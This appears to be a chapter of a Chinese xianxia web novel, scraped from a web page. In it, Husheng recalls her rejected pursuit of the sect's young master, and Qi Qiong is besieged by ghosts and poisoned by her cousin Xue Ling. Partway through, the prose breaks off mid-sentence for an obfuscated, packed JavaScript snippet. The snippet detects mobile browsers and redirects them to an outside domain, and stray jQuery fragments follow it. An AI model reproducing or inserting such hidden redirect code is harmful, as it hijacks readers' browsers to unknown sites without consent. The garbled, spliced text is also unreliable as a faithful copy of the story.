怎么会呢?
他怎会已有道侣。
在跌境的那一刻,斛盈忽然想起十七岁那年做过的蠢事。
她是斛卓山盼了数百年才得来的掌上明珠,自幼虽被严厉教导,可若想要什么,爹即刻就将大把的珍宝捧到眼前,因为她的娘已经不在了。
平日又有数十位同龄女修陪她,即便常年闭关也并不觉孤独。
同辈之中除汪明月,还有谁比她更尊贵。
她越发刻苦,想要超过汪明月,超过所有人,让爹爹欢喜,最后将目标定在少主之位上。她天资极好,她才该是天机府未来的掌权人。
直到那一日,久久不露面的少主从禁地出关主持天机府大会。
明媚春色下,光风霁月的少年穿月白色大袖衫立于高台。她本就好奇传闻中的天骄是何等模样,岂料那一瞬间竟被对方深深吸引。
她开始关注慕怀朝,原来他已有亡妻……
传言那名叫戚琼的女子本是一个从人间来的商户女,和昆仑某位青年才俊曾有婚约,不知怎的少主又将她抢了来。
多年前的各种流言被斛家随侍修士添油加醋地报告给斛盈。她少女怀春,满心满眼都是那个人,自然对另一个水性杨花死了还占位的凡女没有任何好感。
随着出关,斛盈渐发现原来她引以为傲的天资,在天才扎堆的宗内根本不算什么。随便一个拜入斛家,不惜改姓的外门弟子都能轻易挑了她的剑。
就这样的人,竟也敢追求她。
她更迫切地想要接近慕怀朝,嫁给慕怀朝,生怕再有人抢先一步。慕怀朝天资修为比历代少主都要高,他的双修道侣必也是万里挑一。
她虽不能成为少主,可成为少主之妻亦可。那她依旧是天机府乃至仙洲最耀眼的明珠,他们的身份最为相配,天机府的资源本该就是他们的。
两姓联姻,对两个家族,对天机府才是最为紧要的,不是吗?
她也是如此和斛卓山说的。斛卓山思来想去,觉得女儿和慕怀朝结为道侣也能快速提升修为,其余的事日后再筹谋不迟。
除每届天机府盛会,其余时候少主并不外出。要想单独见到他,几乎难如登天。可斛盈不觉得,她是大长老的独女,想私下见少主一面是什么难事吗?
她凭借父亲的玉如意强行闯入禁地,打飞洞府外的蛇妖,终于见到守在棺材旁的人。
灵力顷刻化刀逼上她的脖子,慕怀朝缓缓掀起眼皮,见是她敛了敛神道:“若是误闯就原路返回,此地多阵法,稍有不慎你会死。”
斛盈心底雀跃无比,他竟然记得她!他知道她是谁?
她大着胆子靠近:“我不是误闯。您身为少主,若常年住在禁地如何提升修为,日后如何引领我宗?斛盈再次恳请少主出关,不要为了已经逝去的人耗费心神。”
慕怀朝沉默,扬袖将她掀出通道。
她急忙催动玉如意卡在通道口,急急劝诱:“少主?您就算再难过,可她已经死了啊,已经转世投胎有了新的人生。复生之术古往今来有几人能做成,您何必做无用功?你这身修为更应用在天机府门人身上!”
慕怀朝轻抚棺盖,柔声道:“吵到你了,我原本想她年纪轻才误入我们的洞府。是我相岔了,我现在就将人赶走。”
斛盈不可置信:“她?她就是个情夫遍地的多情女,你还念着她做什么?她做过的事你不知道吗?”
也不知到底哪句话激怒了慕怀朝,他勃然大怒:“滚!”
斛盈记不得后面的事了,她满身是血昏昏沉沉被爹爹带回洞府,足足休养三年才将身体养好。
呵,你不是爱她吗?
我偏要做你唯一的妻。
我就是要缠着你恶心你,拿你的资源修炼,再将那口棺材踢下仙洲!
她开始哭闹,想让长老们给慕怀朝施压。逼到最后慕怀朝一刀劈开长老殿,此事才算作罢。
经年累月后,她那点浅薄的爱意早已褪去。再后来戚琼居然苏醒,慕怀朝又几次三番对她出手,她心中只剩下恨!
她真傻。
竟然喜欢过这样一个人面兽心的禽兽,这样一个与有夫之妇勾搭成奸的男人。
体内流转的金丹在阵法的威压下猝然碎裂,斛盈痛到几乎昏厥,死死咬紧牙关。
天色渐晚,凉风习习。
戚琼捧脸坐在窗前,望着眼前摇曳烛火发呆。本想打坐修行,心底却焦乱如麻。
雨势渐弱,黑云压顶显得院中漆黑可怖。
一道飘飘幽幽的声音透过门扉,在耳边低语:“戚娘子,你想吃汤圆吗?”
戚琼惊愕,扭头扫过昏迷的斛盈,催动神识向院外探查。一张微笑的老脸倏然挤进识海,她睁眼起身,静谧室内响起椅凳划过地面刺耳的摩擦声。
虽怀疑过赵伯不是人,但慕怀朝始终没有在其身上抓到过鬼气或妖气。今日在内院布阵,无论内里如何情形赵伯应是不知的。
她扣紧桌沿,又听那人道:“戚娘子,我已煮好热腾腾的汤圆。今日照旧放了甜枣芝麻,还额外撒了蜂蜜,很甜的。你不想吃吗?”
咚咚敲门声响起,一声接着一声很有规律,“戚娘子,你开门来取吧。再不吃就要凉了,凉了的汤圆啊,吃掉会烂肚子的。”
他不会,真的能进来吧?
戚琼吹灭烛火,轻抚低鸣的鬼宿。摘星辰不知何时从藏宝袋滑出来,不满地贴在肩头抗议。它是低阶法器,主人平日总喜欢拿它砸人,它真想回炉重造。
它嫉妒地将鬼宿挤开。
安抚过摘星辰,戚琼淡淡道:“今日太晚,我与夫君已经歇息,老伯有什么事明早再来吧。”
敲门声陡然停止,揉搓抖动纸张的声音此起彼伏,吵得人心焦。神识范围内的生物也从原来的上百在急速飙升,几乎眨眼间就翻了翻倍。
屋顶上空传来男男女女尖厉刺耳的哭嚎,金霞透过窗纸映在戚琼脸颊。手中鬼宿兴奋地轻颤,鬼气争先恐后地从缝隙溢出,化为细线欲要抓捕外面的小鬼。
铮!铮!铮!
金光几乎照亮内室,晃得戚琼微眯起眼。就算是整个青州城,也凑不出数量如此庞大的怨鬼。刚泛起一股不祥的预感,慕怀朝附着在身上的神识便越来越弱。
即便鬼宿有心相帮,可她目前修为只是筑基。失去主人的神识根本无法灵活驱策,最多只能防身。鬼宿只能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233238|177713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不甘地收回鬼气,勉强凝聚出小结界护住女主人。
倘若戚琼此刻出门,便能见到上千只厉鬼密密麻麻地聚集在阵法上,其散发的怨气连金光都能暂时隐盖。
之前轻微的痛觉从腹部一直蔓延到指尖,她逐渐感觉头皮发麻,手脚冰凉,阵痛一层接一层冲击她的丹田。刚想喘息,下一波痛觉只会更甚。
门外喧闹与金光逐渐消失,她蜷缩在木椅上发抖。早不来晚不来,如今三位倒是一起登场了。
也好,也好,她们早该见一面。
香气蔓延至鼻中,戚琼转动衣袖下冰凉的手,侧目看向门外的黑影。
“我做的汤圆,凉掉了。”平静悦耳的声音响起,不是薛灵又会是谁。
门前又亮起一道结界,薛灵不怒反笑:“表姐,你总是有很多层壳,我会让你主动将它们扒开。自己,走到我面前来。”
戚琼肚中有股被毒虫噬咬的刺痛,浑身血管几乎要被挤爆。她痛苦地捂住胸口从椅上摔下来,冰火两种极致的惩戒让她咬破嘴唇,眼眶瞬间湿润。
“你什么时候给我下了毒?”用鬼宿撑着重新坐回去,她费尽气力问。
薛灵站在门外,手中调羹不断搅着黏腻的汤圆,思绪似乎飘向从前,“桃花源啊,难道你以为是在府城?放心,此毒不会立马致死,你是自己走出来还是等死?”
她悠悠道:“机会我给过你了,是你自己不愿吃缓解痛觉的汤圆。此番我用厉鬼挡在阵外,阻隔你与慕怀朝的联系,留出一炷香时间给我们。”
“表姐,我的耐心只有片刻。数到十,你若不愿出来便疼死好了。”
戚琼看向掌心,轻声问:“赵伯究竟是什么东西?你又是怎么进来的?”
薛灵已经将浓郁的芝麻馅挤出,汤圆化为一碗黏糊糊的糊状物。她仰头望着昏黑天幕,唏嘘道:“你真的不认识他吗?看来这段时间你什么也没想起来,至于我的事你就不用管了。”
戚琼竭力抑制疼痛,疼得小声抽气:“小时候,舅母喜欢给我们做甜食。你最喜欢的就是汤圆,加蜂蜜也是你喜欢的。我觉得腻,你还偏要喂给我吃。”
薛灵勾勾唇角:“可你害死了她,害死世上唯一爱我们的人。你抛弃我选择姑姑,我们没有家了。那夜的火好大,连那棵杏树都烧毁了,那时你在哪里?后来的日日夜夜,你有想起过那个家吗?”
她敛去笑,下了最后通牒:“别等了,他现在在东海,就算能赶回来也无法彻底拔除蛊毒。”
“戚琼,开门。”
将战栗的鬼宿收回体内,摘星辰也一并放入。戚琼踉跄起身,一步步走到门前。
门外,薛灵长发披肩,消瘦的脸上没有任何表情。
她进门后扫过昏死过去的斛盈,不屑道:“这个蠢货,身为结丹修士都能被你打趴,和那条蠢蛇一样愚不可及!”
她欲要上前将其灭口,却被摇摇欲坠的戚琼拦住。抬手间戚琼终于支撑不住摔在地上。
“你想死,我还不想!”她按着腹部道。
薛灵屈膝蹲下,将那碗汤水往她口中灌,冷笑道:“喝吧,喝完我们正好算总账。你忘记的,我都会让你想起来。”